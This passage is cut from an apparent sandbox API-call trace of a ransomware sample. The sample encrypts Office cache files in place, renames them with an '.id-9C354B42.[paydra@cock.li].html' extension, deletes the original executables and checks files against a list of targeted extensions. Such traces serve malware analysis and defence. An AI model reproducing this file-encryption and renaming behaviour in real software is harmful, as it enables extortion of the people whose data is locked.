liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.199] WriteFile (in: hFile=0x160, lpBuffer=0x3ec1058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec1058*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.220] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.220] WriteFile (in: hFile=0x160, lpBuffer=0x3ec1058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec1058*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.223] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.223] WriteFile (in: hFile=0x160, lpBuffer=0x3ec1058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec1058*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec1058 | out: hHeap=0x4b0000) returned 1 [0047.452] CloseHandle (hObject=0x160) returned 1 [0047.452] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0047.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0047.453] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0047.453] lstrlenW (lpString=".doc") returned 4 [0047.453] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0047.453] lstrlenW (lpString=".docx") returned 5 [0047.453] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0047.453] lstrlenW (lpString=".pdf") returned 4 [0047.453] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0047.453] lstrlenW (lpString=".xls") returned 4 [0047.453] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0047.453] lstrlenW (lpString=".xlsx") returned 5 [0047.453] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0047.453] lstrlenW (lpString=".ppt") returned 4 [0047.453] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0047.453] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0047.453] lstrlenW (lpString=".zip") returned 4 [0047.453] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0047.453] lstrlenW (lpString=".rar") returned 4 [0047.453] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0047.454] lstrlenW (lpString=".bz2") returned 4 [0047.454] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0047.454] lstrlenW (lpString=".7z") returned 3 [0047.454] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0047.454] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0047.454] lstrlenW (lpString=".dbf") returned 4 [0047.454] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0047.454] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0047.454] lstrlenW (lpString=".1cd") returned 4 [0047.454] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0047.454] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0047.454] lstrlenW (lpString=".jpg") returned 4 [0047.454] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0047.454] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0047.454] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0047.454] lstrlenW (lpString=".doc") returned 4 [0047.454] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0047.454] lstrlenW (lpString=".docx") returned 5 [0047.454] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0047.454] lstrlenW (lpString=".pdf") returned 4 [0047.454] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0047.454] lstrlenW (lpString=".xls") returned 4 [0047.454] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0047.454] lstrlenW (lpString=".xlsx") returned 5 [0047.454] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0047.454] lstrlenW (lpString=".ppt") returned 4 [0047.454] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0047.454] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0047.454] lstrlenW (lpString=".zip") returned 4 [0047.454] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0047.454] lstrlenW (lpString=".rar") returned 4 [0047.455] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0047.455] lstrlenW (lpString=".bz2") returned 4 [0047.455] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0047.455] lstrlenW (lpString=".7z") returned 3 [0047.455] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0047.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0047.455] lstrlenW (lpString=".dbf") returned 4 [0047.455] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0047.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0047.455] lstrlenW (lpString=".1cd") returned 4 [0047.455] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0047.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0047.455] lstrlenW (lpString=".jpg") returned 4 [0047.455] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0047.455] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0047.455] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0047.455] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0047.477] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=36233052) returned 1 [0047.477] CloseHandle (hObject=0x218) returned 1 [0047.478] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0047.478] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0047.478] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[paydra@cock.li].html")) returned 1 [0047.478] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0047.479] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0x0) returned 1 [0047.479] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.479] ReadFile (in: hFile=0x218, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.501] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.501] ReadFile (in: hFile=0x218, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.550] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.550] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.550] ReadFile (in: hFile=0x218, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.565] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.565] WriteFile (in: hFile=0x218, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x329fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0047.887] SetEndOfFile (hFile=0x218) returned 1 [0048.866] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f71898 [0048.866] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.866] WriteFile (in: hFile=0x218, lpBuffer=0x3f71898*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f71898*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.867] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.867] WriteFile (in: hFile=0x218, lpBuffer=0x3f71898*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f71898*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.868] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.868] WriteFile (in: hFile=0x218, lpBuffer=0x3f71898*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f71898*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.870] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f71898 | out: hHeap=0x4b0000) returned 1 [0048.870] CloseHandle (hObject=0x218) returned 1 [0048.870] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0048.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.870] lstrlenW (lpString=".doc") returned 4 [0048.870] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0048.870] lstrlenW (lpString=".docx") returned 5 [0048.870] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0048.870] lstrlenW (lpString=".pdf") returned 4 [0048.870] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0048.870] lstrlenW (lpString=".xls") returned 4 [0048.870] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0048.870] lstrlenW (lpString=".xlsx") returned 5 [0048.870] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0048.870] lstrlenW (lpString=".ppt") returned 4 [0048.870] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0048.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.870] lstrlenW (lpString=".zip") returned 4 [0048.871] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0048.871] lstrlenW (lpString=".rar") returned 4 [0048.871] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0048.871] lstrlenW (lpString=".bz2") returned 4 [0048.871] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0048.871] lstrlenW (lpString=".7z") returned 3 [0048.871] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0048.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.871] lstrlenW (lpString=".dbf") returned 4 [0048.871] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0048.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.871] lstrlenW (lpString=".1cd") returned 4 [0048.871] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0048.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.871] lstrlenW (lpString=".jpg") returned 4 [0048.871] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0048.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.871] lstrlenW (lpString=".doc") returned 4 [0048.871] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0048.871] lstrlenW (lpString=".docx") returned 5 [0048.871] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0048.871] lstrlenW (lpString=".pdf") returned 4 [0048.871] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0048.871] lstrlenW (lpString=".xls") returned 4 [0048.871] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0048.871] lstrlenW (lpString=".xlsx") returned 5 [0048.871] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0048.871] lstrlenW (lpString=".ppt") returned 4 [0048.871] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0048.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.871] lstrlenW (lpString=".zip") returned 4 [0048.872] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0048.872] lstrlenW (lpString=".rar") returned 4 [0048.872] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0048.872] lstrlenW (lpString=".bz2") returned 4 [0048.872] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0048.872] lstrlenW (lpString=".7z") returned 3 [0048.872] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0048.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.872] lstrlenW (lpString=".dbf") returned 4 [0048.872] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0048.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.872] lstrlenW (lpString=".1cd") returned 4 [0048.872] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0048.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.872] lstrlenW (lpString=".jpg") returned 4 [0048.872] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0048.910] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1 [0048.910] lstrlenW (lpString="setup.exe") returned 9 [0048.910] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0048.911] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1377656) returned 1 [0048.911] CloseHandle (hObject=0x1a8) returned 1 [0048.911] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0048.911] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0048.911] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0048.911] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.911] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.911] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0048.912] GetLastError () returned 0x0 [0048.912] ReadFile (in: hFile=0x1a8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0048.939] WriteFile (in: hFile=0x1b8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0049.135] ReadFile (in: hFile=0x1a8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x50588, lpOverlapped=0x0) returned 1 [0049.147] WriteFile (in: hFile=0x1b8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0049.156] ReadFile (in: hFile=0x1a8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.156] WriteFile (in: hFile=0x1b8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.156] SetEndOfFile (hFile=0x1b8) returned 1 [0049.156] CloseHandle (hObject=0x1b8) returned 1 [0049.156] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.156] SetEndOfFile (hFile=0x1a8) returned 1 [0049.159] CloseHandle (hObject=0x1a8) returned 1 [0049.159] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0049.159] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0049.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.160] lstrlenW (lpString=".doc") returned 4 [0049.160] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0049.160] lstrlenW (lpString=".docx") returned 5 [0049.160] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0049.160] lstrlenW (lpString=".pdf") returned 4 [0049.160] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0049.160] lstrlenW (lpString=".xls") returned 4 [0049.160] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0049.160] lstrlenW (lpString=".xlsx") returned 5 [0049.160] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0049.160] lstrlenW (lpString=".ppt") returned 4 [0049.160] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0049.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.160] lstrlenW (lpString=".zip") returned 4 [0049.160] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0049.160] lstrlenW (lpString=".rar") returned 4 [0049.160] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0049.160] lstrlenW (lpString=".bz2") returned 4 [0049.160] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0049.160] lstrlenW (lpString=".7z") returned 3 [0049.160] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0049.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.160] lstrlenW (lpString=".dbf") returned 4 [0049.160] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0049.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.160] lstrlenW (lpString=".1cd") returned 4 [0049.160] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0049.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.160] lstrlenW (lpString=".jpg") returned 4 [0049.160] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0049.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.161] lstrlenW (lpString=".doc") returned 4 [0049.161] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0049.161] lstrlenW (lpString=".docx") returned 5 [0049.161] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0049.161] lstrlenW (lpString=".pdf") returned 4 [0049.161] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0049.161] lstrlenW (lpString=".xls") returned 4 [0049.161] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0049.161] lstrlenW (lpString=".xlsx") returned 5 [0049.161] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0049.161] lstrlenW (lpString=".ppt") returned 4 [0049.161] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0049.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.161] lstrlenW (lpString=".zip") returned 4 [0049.161] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0049.161] lstrlenW (lpString=".rar") returned 4 [0049.161] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0049.161] lstrlenW (lpString=".bz2") returned 4 [0049.161] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0049.161] lstrlenW (lpString=".7z") returned 3 [0049.161] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0049.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.161] lstrlenW (lpString=".dbf") returned 4 [0049.161] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0049.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.161] lstrlenW (lpString=".1cd") returned 4 [0049.161] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0049.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.161] lstrlenW (lpString=".jpg") returned 4 [0049.161] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0049.161] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1 [0049.161] lstrlenW (lpString="ose.exe") returned 7 [0049.162] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" 